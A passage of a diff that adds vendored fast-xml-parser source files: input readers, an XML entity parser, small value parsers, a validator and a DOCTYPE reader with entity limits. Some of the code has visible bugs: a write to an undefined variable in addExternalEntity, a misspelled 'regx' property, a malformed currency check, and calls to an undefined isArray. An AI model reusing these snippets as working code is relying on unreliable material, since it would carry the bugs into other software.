this.startIndex = 0;
}
readCh() {
return String.fromCharCode(this.buffer[this.startIndex++]);
}
readChAt(index) {
return String.fromCharCode(this.buffer[this.startIndex+index]);
}
readStr(n,from){
if(typeof from === "undefined") from = this.startIndex;
return this.buffer.slice(from, from + n).toString();
}
readUpto(stopStr) {
const inputLength = this.buffer.length;
const stopLength = stopStr.length;
const stopBuffer = Buffer.from(stopStr);
for (let i = this.startIndex; i < inputLength; i++) {
let match = true;
for (let j = 0; j < stopLength; j++) {
if (this.buffer[i + j] !== stopBuffer[j]) {
match = false;
break;
}
}
if (match) {
const result = this.buffer.slice(this.startIndex, i).toString();
this.startIndex = i + stopLength;
return result;
}
}
throw new Error(`Unexpected end of source. Reading '${stopStr}'`);
}
readUptoCloseTag(stopStr) { //stopStr: "</tagname"
const inputLength = this.buffer.length;
const stopLength = stopStr.length;
const stopBuffer = Buffer.from(stopStr);
let stopIndex = 0;
//0: non-matching, 1: matching stop string, 2: matching closing
let match = 0;
for (let i = this.startIndex; i < inputLength; i++) {
if(match === 1){//initial part matched
if(stopIndex === 0) stopIndex = i;
if(this.buffer[i] === Constants.space || this.buffer[i] === Constants.tab) continue;
else if(this.buffer[i] === '>'){ //TODO: if it should be equivalent ASCII
match = 2;
//tag boundary found
// this.startIndex
}
}else{
match = 1;
for (let j = 0; j < stopLength; j++) {
if (this.buffer[i + j] !== stopBuffer[j]) {
match = 0;
break;
}
}
}
if (match === 2) {//matched closing part
const result = this.buffer.slice(this.startIndex, stopIndex - 1 ).toString();
this.startIndex = i + 1;
return result;
}
}
throw new Error(`Unexpected end of source. Reading '${stopStr}'`);
}
readFromBuffer(n, shouldUpdate) {
let ch;
if (n === 1) {
ch = this.buffer[this.startIndex];
if (ch === 10) {
this.line++;
this.cols = 1;
} else {
this.cols++;
}
ch = String.fromCharCode(ch);
} else {
this.cols += n;
ch = this.buffer.slice(this.startIndex, this.startIndex + n).toString();
}
if (shouldUpdate) this.updateBuffer(n);
return ch;
}
updateBufferBoundary(n = 1) { //n: number of characters read
this.startIndex += n;
}
canRead(n){
n = n || this.startIndex;
return this.buffer.length - n + 1 > 0;
}
}

View File

@@ -0,0 +1,121 @@
const whiteSpaces = [" ", "\n", "\t"];
export default class StringSource{
constructor(str){
this.line = 1;
this.cols = 0;
this.buffer = str;
//a boundary pointer to indicate where from the buffer dat should be read
// data before this pointer can be deleted to free the memory
this.startIndex = 0;
}
readCh() {
return this.buffer[this.startIndex++];
}
readChAt(index) {
return this.buffer[this.startIndex+index];
}
readStr(n,from){
if(typeof from === "undefined") from = this.startIndex;
return this.buffer.substring(from, from + n);
}
readUpto(stopStr) {
const inputLength = this.buffer.length;
const stopLength = stopStr.length;
for (let i = this.startIndex; i < inputLength; i++) {
let match = true;
for (let j = 0; j < stopLength; j++) {
if (this.buffer[i + j] !== stopStr[j]) {
match = false;
break;
}
}
if (match) {
const result = this.buffer.substring(this.startIndex, i);
this.startIndex = i + stopLength;
return result;
}
}
throw new Error(`Unexpected end of source. Reading '${stopStr}'`);
}
readUptoCloseTag(stopStr) { //stopStr: "</tagname"
const inputLength = this.buffer.length;
const stopLength = stopStr.length;
let stopIndex = 0;
//0: non-matching, 1: matching stop string, 2: matching closing
let match = 0;
for (let i = this.startIndex; i < inputLength; i++) {
if(match === 1){//initial part matched
if(stopIndex === 0) stopIndex = i;
if(this.buffer[i] === ' ' || this.buffer[i] === '\t') continue;
else if(this.buffer[i] === '>'){
match = 2;
//tag boundary found
// this.startIndex
}
}else{
match = 1;
for (let j = 0; j < stopLength; j++) {
if (this.buffer[i + j] !== stopStr[j]) {
match = 0;
break;
}
}
}
if (match === 2) {//matched closing part
const result = this.buffer.substring(this.startIndex, stopIndex - 1 );
this.startIndex = i + 1;
return result;
}
}
throw new Error(`Unexpected end of source. Reading '${stopStr}'`);
}
readFromBuffer(n, updateIndex){
let ch;
if(n===1){
ch = this.buffer[this.startIndex];
// if(ch === "\n") {
// this.line++;
// this.cols = 1;
// }else{
// this.cols++;
// }
}else{
ch = this.buffer.substring(this.startIndex, this.startIndex + n);
// if("".indexOf("\n") !== -1){
// //TODO: handle the scenario when there are multiple lines
// //TODO: col should be set to number of chars after last '\n'
// // this.cols = 1;
// }else{
// this.cols += n;
// }
}
if(updateIndex) this.updateBufferBoundary(n);
return ch;
}
//TODO: rename to updateBufferReadIndex
updateBufferBoundary(n = 1) { //n: number of characters read
this.startIndex += n;
}
canRead(n){
n = n || this.startIndex;
return this.buffer.length - n + 1 > 0;
}
}

View File

@@ -0,0 +1,105 @@
const ampEntity = { regex: /&(amp|#38|#x26);/g, val: "&" };
const htmlEntities = {
"space": { regex: /&(nbsp|#160);/g, val: " " },
// "lt" : { regex: /&(lt|#60);/g, val: "<" },
// "gt" : { regex: /&(gt|#62);/g, val: ">" },
// "amp" : { regex: /&(amp|#38);/g, val: "&" },
// "quot" : { regex: /&(quot|#34);/g, val: "\"" },
// "apos" : { regex: /&(apos|#39);/g, val: "'" },
"cent": { regex: /&(cent|#162);/g, val: "¢" },
"pound": { regex: /&(pound|#163);/g, val: "£" },
"yen": { regex: /&(yen|#165);/g, val: "¥" },
"euro": { regex: /&(euro|#8364);/g, val: "€" },
"copyright": { regex: /&(copy|#169);/g, val: "©" },
"reg": { regex: /&(reg|#174);/g, val: "®" },
"inr": { regex: /&(inr|#8377);/g, val: "₹" },
"num_dec": { regex: /&#([0-9]{1,7});/g, val: (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val: (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },
};
export default class EntitiesParser {
constructor(replaceHtmlEntities) {
this.replaceHtmlEntities = replaceHtmlEntities;
this.docTypeEntities = {};
this.lastEntities = {
"apos": { regex: /&(apos|#39|#x27);/g, val: "'" },
"gt": { regex: /&(gt|#62|#x3E);/g, val: ">" },
"lt": { regex: /&(lt|#60|#x3C);/g, val: "<" },
"quot": { regex: /&(quot|#34|#x22);/g, val: "\"" },
};
}
addExternalEntities(externalEntities) {
const entKeys = Object.keys(externalEntities);
for (let i = 0; i < entKeys.length; i++) {
const ent = entKeys[i];
this.addExternalEntity(ent, externalEntities[ent])
}
}
addExternalEntity(key, val) {
validateEntityName(key);
if (val.indexOf("&") !== -1) {
reportWarning(`Entity ${key} is not added as '&' is found in value;`)
return;
} else {
this.lastEntities[ent] = {
regex: new RegExp("&" + key + ";", "g"),
val: val
}
}
}
addDocTypeEntities(entities) {
const entKeys = Object.keys(entities);
for (let i = 0; i < entKeys.length; i++) {
const ent = entKeys[i];
this.docTypeEntities[ent] = {
regex: new RegExp("&" + ent + ";", "g"),
val: entities[ent]
}
}
}
parse(val) {
return this.replaceEntitiesValue(val)
}
/**
* 1. Replace DOCTYPE entities
* 2. Replace external entities
* 3. Replace HTML entities if asked
* @param {string} val
*/
replaceEntitiesValue(val) {
if (typeof val === "string" && val.length > 0) {
for (let entityName in this.docTypeEntities) {
const entity = this.docTypeEntities[entityName];
val = val.replace(entity.regx, entity.val);
}
for (let entityName in this.lastEntities) {
const entity = this.lastEntities[entityName];
val = val.replace(entity.regex, entity.val);
}
if (this.replaceHtmlEntities) {
for (let entityName in htmlEntities) {
const entity = htmlEntities[entityName];
val = val.replace(entity.regex, entity.val);
}
}
val = val.replace(ampEntity.regex, ampEntity.val);
}
return val;
}
};
//an entity name should not contains special characters that may be used in regex
//Eg !?\\\/[]$%{}^&*()<>
const specialChar = "!?\\\/[]$%{}^&*()<>|+";
function validateEntityName(name) {
for (let i = 0; i < specialChar.length; i++) {
const ch = specialChar[i];
if (name.indexOf(ch) !== -1) throw new Error(`Invalid character ${ch} in entity name`);
}
return name;
}

View File

@@ -0,0 +1,22 @@
export default class boolParser{
constructor(trueList, falseList){
if(trueList)
this.trueList = trueList;
else
this.trueList = ["true"];
if(falseList)
this.falseList = falseList;
else
this.falseList = ["false"];
}
parse(val){
if (typeof val === 'string') {
//TODO: performance: don't convert
const temp = val.toLowerCase();
if(this.trueList.indexOf(temp) !== -1) return true;
else if(this.falseList.indexOf(temp) !== -1 ) return false;
}
return val;
}
}

View File

@@ -0,0 +1,19 @@
export default function boolParserExt(val){
if(isArray(val)){
for (let i = 0; i < val.length; i++) {
val[i] = parse(val[i])
}
}else{
val = parse(val)
}
return val;
}
function parse(val){
if (typeof val === 'string') {
const temp = val.toLowerCase();
if(temp === 'true' || temp ==="yes" || temp==="1") return true;
else if(temp === 'false' || temp ==="no" || temp==="0") return false;
}
return val;
}

View File

@@ -0,0 +1,38 @@
const defaultOptions = {
maxLength: 200,
// locale: "en-IN"
}
const localeMap = {
"$":"en-US",
"€":"de-DE",
"£":"en-GB",
"¥":"ja-JP",
"₹":"en-IN",
}
const sign = "(?:-|\+)?";
const digitsAndSeparator = "(?:\d+|\d{1,3}(?:,\d{3})+)";
const decimalPart = "(?:\.\d{1,2})?";
const symbol = "(?:\$|€|¥|₹)?";
const currencyCheckRegex = /^\s*(?:-|\+)?(?:\d+|\d{1,3}(?:,\d{3})+)?(?:\.\d{1,2})?\s*(?:\$|€|¥|₹)?\s*$/u;
export default class CurrencyParser{
constructor(options){
this.options = options || defaultOptions;
}
parse(val){
if (typeof val === 'string' && val.length <= this.options.maxLength) {
if(val.indexOf(",,") !== -1 && val.indexOf(".." !== -1)){
const match = val.match(currencyCheckRegex);
if(match){
const locale = this.options.locale || localeMap[match[2]||match[5]||"₹"];
const formatter = new Intl.NumberFormat(locale)
val = val.replace(/[^0-9,.]/g, '').trim();
val = Number(val.replace(formatter.format(1000)[1], ''));
}
}
}
return val;
}
}
CurrencyParser.defaultOptions = defaultOptions;

View File

@@ -0,0 +1,13 @@
/**
*
* @param {array} val
* @param {string} by
* @returns
*/
export default function join(val, by=" "){
if(isArray(val)){
val.join(by)
}
return val;
}

View File

@@ -0,0 +1,14 @@
import toNumber from "strnum";
export default class numParser{
constructor(options){
this.options = options;
}
parse(val){
if (typeof val === 'string') {
val = toNumber(val,this.options);
}
return val;
}
}

View File

@@ -0,0 +1,6 @@
export default class trimmer{
parse(val){
if(typeof val === "string") return val.trim();
else return val;
}
}

518
node_modules/fast-xml-parser/src/validator.js generated vendored Normal file
View File

@@ -0,0 +1,518 @@
'use strict';
import { isName } from './util.js';
const defaultOptions = {
allowBooleanAttributes: false, //A tag can have attributes without any value
unpairedTags: []
};
//const tagsPattern = new RegExp("<\\/?([\\w:\\-_\.]+)\\s*\/?>","g");
export function validate(xmlData, options) {
options = Object.assign({}, defaultOptions, options);
//xmlData = xmlData.replace(/(\r\n|\n|\r)/gm,"");//make it single line
//xmlData = xmlData.replace(/(^\s*<\?xml.*?\?>)/g,"");//Remove XML starting tag
//xmlData = xmlData.replace(/(<!DOCTYPE[\s\w\"\.\/\-\:]+(\[.*\])*\s*>)/g,"");//Remove DOCTYPE
const tags = [];
let tagFound = false;
//indicates that the root tag has been closed (aka. depth 0 has been reached)
let reachedRoot = false;
if (xmlData[0] === '\ufeff') {
// check for byte order mark (BOM)
xmlData = xmlData.substr(1);
}
for (let i = 0; i < xmlData.length; i++) {
if (xmlData[i] === '<' && xmlData[i + 1] === '?') {
i += 2;
i = readPI(xmlData, i);
if (i.err) return i;
} else if (xmlData[i] === '<') {
//starting of tag
//read until you reach to '>' avoiding any '>' in attribute value
let tagStartPos = i;
i++;
if (xmlData[i] === '!') {
i = readCommentAndCDATA(xmlData, i);
continue;
} else {
let closingTag = false;
if (xmlData[i] === '/') {
//closing tag
closingTag = true;
i++;
}
//read tagname
let tagName = '';
for (; i < xmlData.length &&
xmlData[i] !== '>' &&
xmlData[i] !== ' ' &&
xmlData[i] !== '\t' &&
xmlData[i] !== '\n' &&
xmlData[i] !== '\r'; i++
) {
tagName += xmlData[i];
}
tagName = tagName.trim();
//console.log(tagName);
if (tagName[tagName.length - 1] === '/') {
//self closing tag without attributes
tagName = tagName.substring(0, tagName.length - 1);
//continue;
i--;
}
if (!validateTagName(tagName)) {
let msg;
if (tagName.trim().length === 0) {
msg = "Invalid space after '<'.";
} else {
msg = "Tag '" + tagName + "' is an invalid name.";
}
return getErrorObject('InvalidTag', msg, getLineNumberForPosition(xmlData, i));
}
const result = readAttributeStr(xmlData, i);
if (result === false) {
return getErrorObject('InvalidAttr', "Attributes for '" + tagName + "' have open quote.", getLineNumberForPosition(xmlData, i));
}
let attrStr = result.value;
i = result.index;
if (attrStr[attrStr.length - 1] === '/') {
//self closing tag
const attrStrStart = i - attrStr.length;
attrStr = attrStr.substring(0, attrStr.length - 1);
const isValid = validateAttributeString(attrStr, options);
if (isValid === true) {
tagFound = true;
//continue; //text may presents after self closing tag
} else {
//the result from the nested function returns the position of the error within the attribute
//in order to get the 'true' error line, we need to calculate the position where the attribute begins (i - attrStr.length) and then add the position within the attribute
//this gives us the absolute index in the entire xml, which we can use to find the line at last
return getErrorObject(isValid.err.code, isValid.err.msg, getLineNumberForPosition(xmlData, attrStrStart + isValid.err.line));
}
} else if (closingTag) {
if (!result.tagClosed) {
return getErrorObject('InvalidTag', "Closing tag '" + tagName + "' doesn't have proper closing.", getLineNumberForPosition(xmlData, i));
} else if (attrStr.trim().length > 0) {
return getErrorObject('InvalidTag', "Closing tag '" + tagName + "' can't have attributes or invalid starting.", getLineNumberForPosition(xmlData, tagStartPos));
} else if (tags.length === 0) {
return getErrorObject('InvalidTag', "Closing tag '" + tagName + "' has not been opened.", getLineNumberForPosition(xmlData, tagStartPos));
} else {
const otg = tags.pop();
if (tagName !== otg.tagName) {
let openPos = getLineNumberForPosition(xmlData, otg.tagStartPos);
return getErrorObject('InvalidTag',
"Expected closing tag '" + otg.tagName + "' (opened in line " + openPos.line + ", col " + openPos.col + ") instead of closing tag '" + tagName + "'.",
getLineNumberForPosition(xmlData, tagStartPos));
}
//when there are no more tags, we reached the root level.
if (tags.length == 0) {
reachedRoot = true;
}
}
} else {
const isValid = validateAttributeString(attrStr, options);
if (isValid !== true) {
//the result from the nested function returns the position of the error within the attribute
//in order to get the 'true' error line, we need to calculate the position where the attribute begins (i - attrStr.length) and then add the position within the attribute
//this gives us the absolute index in the entire xml, which we can use to find the line at last
return getErrorObject(isValid.err.code, isValid.err.msg, getLineNumberForPosition(xmlData, i - attrStr.length + isValid.err.line));
}
//if the root level has been reached before ...
if (reachedRoot === true) {
return getErrorObject('InvalidXml', 'Multiple possible root nodes found.', getLineNumberForPosition(xmlData, i));
} else if (options.unpairedTags.indexOf(tagName) !== -1) {
//don't push into stack
} else {
tags.push({ tagName, tagStartPos });
}
tagFound = true;
}
//skip tag text value
//It may include comments and CDATA value
for (i++; i < xmlData.length; i++) {
if (xmlData[i] === '<') {
if (xmlData[i + 1] === '!') {
//comment or CADATA
i++;
i = readCommentAndCDATA(xmlData, i);
continue;
} else if (xmlData[i + 1] === '?') {
i = readPI(xmlData, ++i);
if (i.err) return i;
} else {
break;
}
} else if (xmlData[i] === '&') {
const afterAmp = validateAmpersand(xmlData, i);
if (afterAmp == -1)
return getErrorObject('InvalidChar', "char '&' is not expected.", getLineNumberForPosition(xmlData, i));
i = afterAmp;
} else {
if (reachedRoot === true && !isWhiteSpace(xmlData[i])) {
return getErrorObject('InvalidXml', "Extra text at the end", getLineNumberForPosition(xmlData, i));
}
}
} //end of reading tag text value
if (xmlData[i] === '<') {
i--;
}
}
} else {
if (isWhiteSpace(xmlData[i])) {
continue;
}
return getErrorObject('InvalidChar', "char '" + xmlData[i] + "' is not expected.", getLineNumberForPosition(xmlData, i));
}
}
if (!tagFound) {
return getErrorObject('InvalidXml', 'Start tag expected.', 1);
} else if (tags.length == 1) {
return getErrorObject('InvalidTag', "Unclosed tag '" + tags[0].tagName + "'.", getLineNumberForPosition(xmlData, tags[0].tagStartPos));
} else if (tags.length > 0) {
return getErrorObject('InvalidXml', "Invalid '" +
JSON.stringify(tags.map(t => t.tagName), null, 4).replace(/\r?\n/g, '') +
"' found.", { line: 1, col: 1 });
}
return true;
};
function isWhiteSpace(char) {
return char === ' ' || char === '\t' || char === '\n' || char === '\r';
}
/**
* Read Processing insstructions and skip
* @param {*} xmlData
* @param {*} i
*/
function readPI(xmlData, i) {
const start = i;
for (; i < xmlData.length; i++) {
if (xmlData[i] == '?' || xmlData[i] == ' ') {
//tagname
const tagname = xmlData.substr(start, i - start);
if (i > 5 && tagname === 'xml') {
return getErrorObject('InvalidXml', 'XML declaration allowed only at the start of the document.', getLineNumberForPosition(xmlData, i));
} else if (xmlData[i] == '?' && xmlData[i + 1] == '>') {
//check if valid attribut string
i++;
break;
} else {
continue;
}
}
}
return i;
}
function readCommentAndCDATA(xmlData, i) {
if (xmlData.length > i + 5 && xmlData[i + 1] === '-' && xmlData[i + 2] === '-') {
//comment
for (i += 3; i < xmlData.length; i++) {
if (xmlData[i] === '-' && xmlData[i + 1] === '-' && xmlData[i + 2] === '>') {
i += 2;
break;
}
}
} else if (
xmlData.length > i + 8 &&
xmlData[i + 1] === 'D' &&
xmlData[i + 2] === 'O' &&
xmlData[i + 3] === 'C' &&
xmlData[i + 4] === 'T' &&
xmlData[i + 5] === 'Y' &&
xmlData[i + 6] === 'P' &&
xmlData[i + 7] === 'E'
) {
let angleBracketsCount = 1;
for (i += 8; i < xmlData.length; i++) {
if (xmlData[i] === '<') {
angleBracketsCount++;
} else if (xmlData[i] === '>') {
angleBracketsCount--;
if (angleBracketsCount === 0) {
break;
}
}
}
} else if (
xmlData.length > i + 9 &&
xmlData[i + 1] === '[' &&
xmlData[i + 2] === 'C' &&
xmlData[i + 3] === 'D' &&
xmlData[i + 4] === 'A' &&
xmlData[i + 5] === 'T' &&
xmlData[i + 6] === 'A' &&
xmlData[i + 7] === '['
) {
for (i += 8; i < xmlData.length; i++) {
if (xmlData[i] === ']' && xmlData[i + 1] === ']' && xmlData[i + 2] === '>') {
i += 2;
break;
}
}
}
return i;
}
const doubleQuote = '"';
const singleQuote = "'";
/**
* Keep reading xmlData until '<' is found outside the attribute value.
* @param {string} xmlData
* @param {number} i
*/
function readAttributeStr(xmlData, i) {
let attrStr = '';
let startChar = '';
let tagClosed = false;
for (; i < xmlData.length; i++) {
if (xmlData[i] === doubleQuote || xmlData[i] === singleQuote) {
if (startChar === '') {
startChar = xmlData[i];
} else if (startChar !== xmlData[i]) {
//if vaue is enclosed with double quote then single quotes are allowed inside the value and vice versa
} else {
startChar = '';
}
} else if (xmlData[i] === '>') {
if (startChar === '') {
tagClosed = true;
break;
}
}
attrStr += xmlData[i];
}
if (startChar !== '') {
return false;
}
return {
value: attrStr,
index: i,
tagClosed: tagClosed
};
}
/**
* Walk `attrStr` once, left to right, splitting it into attribute tokens.
*
* This replaces a regex that used to do the same job
* (`(\s*)([^\s=]+)(\s*=)?(\s*(['"])(([\s\S])*?)\5)?`). That regex led with an
* optional whitespace group followed by a required "non-whitespace" group.
* On a long run of whitespace that never resolves into an attribute name
* (e.g. a tag with thousands of trailing spaces before `>`), the engine
* backtracks the whitespace group one character at a time before giving up
* and moving to the next starting position — one full backtrack per
* position, which is quadratic in the length of the run.
*
* A single forward-only scan can never backtrack, so it can't be made slow
* this way no matter how much whitespace the input contains — it's always
* proportional to the length of the string, once.
*
* Each returned token mirrors the shape the old regex match array had, so
* the validation logic below (which reads token[1]..token[6]) didn't need
* to change:
* token.startIndex - where this token begins in attrStr
* token[1] - leading whitespace before the name
* token[2] - the attribute name
* token[3] - whitespace + '=' if present, else undefined
* token[4] - marker (any defined value) if a quoted value was found
* token[5] - the quote character used ('"' or "'")
* token[6] - the value's text, without the surrounding quotes
*
* A malformed leading character (e.g. a stray '=' with no name before it)
* is simply skipped over, one character at a time — the same outcome the
* old regex produced by failing to match at that position and retrying at
* the next one.
*/
function scanAttributeTokens(attrStr) {
const tokens = [];
const len = attrStr.length;
let i = 0;
while (i < len) {
const tokenStart = i;
// Leading whitespace before the name.
while (i < len && isWhiteSpace(attrStr[i])) i++;
if (i >= len) break; // trailing whitespace only — nothing left to read
if (attrStr[i] === '=') {
// No name before this '=' — not a valid attribute start. Move past
// just this one character and try again from the next position.
i = tokenStart + 1;
continue;
}
const leadingWs = attrStr.slice(tokenStart, i);
// Attribute name — everything up to the next whitespace or '='.
const nameStart = i;
while (i < len && !isWhiteSpace(attrStr[i]) && attrStr[i] !== '=') i++;
const name = attrStr.slice(nameStart, i);
// Optional whitespace + '='.
let equalsGroup; // whitespace + '=' text, or undefined if absent
let j = i;
while (j < len && isWhiteSpace(attrStr[j])) j++;
if (j < len && attrStr[j] === '=') {
equalsGroup = attrStr.slice(i, j + 1);
i = j + 1;
}
// Optional whitespace + quoted value.
let quoteChar;
let value;
let k = i;
while (k < len && isWhiteSpace(attrStr[k])) k++;
if (k < len && (attrStr[k] === '"' || attrStr[k] === "'")) {
const valueStart = k + 1;
const closeIdx = attrStr.indexOf(attrStr[k], valueStart);
if (closeIdx !== -1) {
quoteChar = attrStr[k];
value = attrStr.slice(valueStart, closeIdx);
i = closeIdx + 1;
}
// No closing quote found anywhere in the rest of the string — leave
// quoteChar/value undefined, same as the old regex's group failing
// to match a backreference-less run.
}
const token = { startIndex: tokenStart };
token[1] = leadingWs;
token[2] = name;
token[3] = equalsGroup;
token[4] = quoteChar !== undefined ? true : undefined;
token[5] = quoteChar;
token[6] = value;
tokens.push(token);
}
return tokens;
}
//attr, ="sd", a="amit's", a="sd"b="saf", ab cd=""
function validateAttributeString(attrStr, options) {
//console.log("start:"+attrStr+":end");
//if(attrStr.trim().length === 0) return true; //empty string
const matches = scanAttributeTokens(attrStr);
const attrNames = {};
for (let i = 0; i < matches.length; i++) {
if (matches[i][1].length === 0) {
//nospace before attribute name: a="sd"b="saf"
return getErrorObject('InvalidAttr', "Attribute '" + matches[i][2] + "' has no space in starting.", getPositionFromMatch(matches[i]))
} else if (matches[i][3] !== undefined && matches[i][4] === undefined) {
return getErrorObject('InvalidAttr', "Attribute '" + matches[i][2] + "' is without value.", getPositionFromMatch(matches[i]));
} else if (matches[i][3] === undefined && !options.allowBooleanAttributes) {
//independent attribute: ab
return getErrorObject('InvalidAttr', "boolean attribute '" + matches[i][2] + "' is not allowed.", getPositionFromMatch(matches[i]));
}
/* else if(matches[i][6] === undefined){//attribute without value: ab=
return { err: { code:"InvalidAttr",msg:"attribute " + matches[i][2] + " has no value assigned."}};
} */
const attrName = matches[i][2];
if (!validateAttrName(attrName)) {
return getErrorObject('InvalidAttr', "Attribute '" + attrName + "' is an invalid name.", getPositionFromMatch(matches[i]));
}
if (!Object.prototype.hasOwnProperty.call(attrNames, attrName)) {
//check for duplicate attribute.
attrNames[attrName] = 1;
} else {
return getErrorObject('InvalidAttr', "Attribute '" + attrName + "' is repeated.", getPositionFromMatch(matches[i]));
}
}
return true;
}
function validateNumberAmpersand(xmlData, i) {
let re = /\d/;
if (xmlData[i] === 'x') {
i++;
re = /[\da-fA-F]/;
}
for (; i < xmlData.length; i++) {
if (xmlData[i] === ';')
return i;
if (!xmlData[i].match(re))
break;
}
return -1;
}
function validateAmpersand(xmlData, i) {
// https://www.w3.org/TR/xml/#dt-charref
i++;
if (xmlData[i] === ';')
return -1;
if (xmlData[i] === '#') {
i++;
return validateNumberAmpersand(xmlData, i);
}
let count = 0;
for (; i < xmlData.length; i++, count++) {
if (xmlData[i].match(/\w/) && count < 20)
continue;
if (xmlData[i] === ';')
break;
return -1;
}
return i;
}
function getErrorObject(code, message, lineNumber) {
return {
err: {
code: code,
msg: message,
line: lineNumber.line || lineNumber,
col: lineNumber.col,
},
};
}
function validateAttrName(attrName) {
return isName(attrName);
}
// const startsWithXML = /^xml/i;
function validateTagName(tagname) {
return isName(tagname) /* && !tagname.match(startsWithXML) */;
}
//this function returns the line number for the character at the given index
function getLineNumberForPosition(xmlData, index) {
const lines = xmlData.substring(0, index).split(/\r?\n/);
return {
line: lines.length,
// column number is last line's length + 1, because column numbering starts at 1:
col: lines[lines.length - 1].length + 1
};
}
//this function returns the position of the first character of match within attrStr
function getPositionFromMatch(match) {
return match.startIndex + match[1].length;
}

View File

@@ -0,0 +1,6 @@
// Re-export from fast-xml-builder for backward compatibility
import XMLBuilder from 'fast-xml-builder';
export default XMLBuilder;
// If there are any named exports you also want to re-export:
export * from 'fast-xml-builder';

View File

@@ -0,0 +1,426 @@
import { qName as isName } from 'xml-naming';
export default class DocTypeReader {
constructor(options, xmlVersion) {
this.suppressValidationErr = !options;
this.options = options;
this.xmlVersion = xmlVersion || 1.0;
}
setXmlVersion(xmlVersion = 1.0) {
this.xmlVersion = xmlVersion;
}
readDocType(xmlData, i) {
const entities = Object.create(null);
let entityCount = 0;
if (xmlData[i + 3] === 'O' &&
xmlData[i + 4] === 'C' &&
xmlData[i + 5] === 'T' &&
xmlData[i + 6] === 'Y' &&
xmlData[i + 7] === 'P' &&
xmlData[i + 8] === 'E') {
i = i + 9;
let angleBracketsCount = 1;
let hasBody = false, comment = false;
let quoteChar = null; // tracks an open SYSTEM/PUBLIC literal before the '[' body
let exp = "";
for (; i < xmlData.length; i++) {
// Inside a quoted external-identifier literal — XML allows '<'
// and '>' as plain data here, so they must not be interpreted
// as DOCTYPE structure until the matching quote closes.
if (quoteChar !== null) {
if (xmlData[i] === quoteChar) quoteChar = null;
exp += xmlData[i];
continue;
}
if (!hasBody && !comment && (xmlData[i] === '"' || xmlData[i] === "'")) {
quoteChar = xmlData[i];
exp += xmlData[i];
continue;
}
if (xmlData[i] === '<' && !comment) { //Determine the tag type
if (hasBody && hasSeq(xmlData, "!ENTITY", i)) {
i += 7;
let entityName, val;
[entityName, val, i] = this.readEntityExp(xmlData, i + 1, this.suppressValidationErr);
if (val.indexOf("&") === -1) { //Parameter entities are not supported
if (this.options.enabled !== false &&
this.options.maxEntityCount != null &&
entityCount >= this.options.maxEntityCount) {
throw new Error(
`Entity count (${entityCount + 1}) exceeds maximum allowed (${this.options.maxEntityCount})`
);
}
//const escaped = entityName.replace(/[.\-+*:]/g, '\\.');
//const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = val;
entityCount++;
}
}
else if (hasBody && hasSeq(xmlData, "!ELEMENT", i)) {
i += 8;//Not supported
const { index } = this.readElementExp(xmlData, i + 1);
i = index;
} else if (hasBody && hasSeq(xmlData, "!ATTLIST", i)) {
i += 8;//Not supported
// const {index} = this.readAttlistExp(xmlData,i+1);
// i = index;
} else if (hasBody && hasSeq(xmlData, "!NOTATION", i)) {
i += 9;//Not supported
const { index } = this.readNotationExp(xmlData, i + 1, this.suppressValidationErr);
i = index;
} else if (hasSeq(xmlData, "!--", i)) comment = true;
else throw new Error(`Invalid DOCTYPE`);
angleBracketsCount++;
exp = "";
} else if (xmlData[i] === '>') { //Read tag content
if (comment) {
if (xmlData[i - 1] === "-" && xmlData[i - 2] === "-") {
comment = false;
angleBracketsCount--;
}
} else {
angleBracketsCount--;
}
if (angleBracketsCount === 0) {
break;
}
} else if (xmlData[i] === '[') {
hasBody = true;
} else {
exp += xmlData[i];
}
}
if (quoteChar !== null || angleBracketsCount !== 0) {
throw new Error(`Unclosed DOCTYPE`);
}
} else {
throw new Error(`Invalid Tag instead of DOCTYPE`);
}
return { entities, i };
}
readEntityExp(xmlData, i) {
//External entities are not supported
// <!ENTITY ext SYSTEM "http://normal-website.com" >
//Parameter entities are not supported
// <!ENTITY entityname "&anotherElement;">
//Internal entities are supported
// <!ENTITY entityname "replacement text">
// Skip leading whitespace after <!ENTITY
i = skipWhitespace(xmlData, i);
// Read entity name
const startIndex = i;
while (i < xmlData.length && !/\s/.test(xmlData[i]) && xmlData[i] !== '"' && xmlData[i] !== "'") {
i++;
}
let entityName = xmlData.substring(startIndex, i);
validateEntityName(entityName, { xmlVersion: this.xmlVersion });
// Skip whitespace after entity name
i = skipWhitespace(xmlData, i);
// Check for unsupported constructs (external entities or parameter entities)
if (!this.suppressValidationErr) {
if (xmlData.substring(i, i + 6).toUpperCase() === "SYSTEM") {
throw new Error("External entities are not supported");
} else if (xmlData[i] === "%") {
throw new Error("Parameter entities are not supported");
}
}
// Read entity value (internal entity)
let entityValue = "";
[i, entityValue] = this.readIdentifierVal(xmlData, i, "entity");
// Validate entity size
if (this.options.enabled !== false &&
this.options.maxEntitySize != null &&
entityValue.length > this.options.maxEntitySize) {
throw new Error(
`Entity "${entityName}" size (${entityValue.length}) exceeds maximum allowed size (${this.options.maxEntitySize})`
);
}
i--;
return [entityName, entityValue, i];
}
readNotationExp(xmlData, i) {
// Skip leading whitespace after <!NOTATION
i = skipWhitespace(xmlData, i);
// Read notation name
const startIndex = i;
while (i < xmlData.length && !/\s/.test(xmlData[i])) {
i++;
}
let notationName = xmlData.substring(startIndex, i);
!this.suppressValidationErr && validateEntityName(notationName, { xmlVersion: this.xmlVersion });
// Skip whitespace after notation name
i = skipWhitespace(xmlData, i);
// Check identifier type (SYSTEM or PUBLIC)
const identifierType = xmlData.substring(i, i + 6).toUpperCase();
if (!this.suppressValidationErr && identifierType !== "SYSTEM" && identifierType !== "PUBLIC") {
throw new Error(`Expected SYSTEM or PUBLIC, found "${identifierType}"`);
}
i += identifierType.length;
// Skip whitespace after identifier type
i = skipWhitespace(xmlData, i);
// Read public identifier (if PUBLIC)
let publicIdentifier = null;
let systemIdentifier = null;
if (identifierType === "PUBLIC") {
[i, publicIdentifier] = this.readIdentifierVal(xmlData, i, "publicIdentifier");
// Skip whitespace after public identifier
i = skipWhitespace(xmlData, i);
// Optionally read system identifier
if (xmlData[i] === '"' || xmlData[i] === "'") {
[i, systemIdentifier] = this.readIdentifierVal(xmlData, i, "systemIdentifier");
}
} else if (identifierType === "SYSTEM") {
// Read system identifier (mandatory for SYSTEM)
[i, systemIdentifier] = this.readIdentifierVal(xmlData, i, "systemIdentifier");
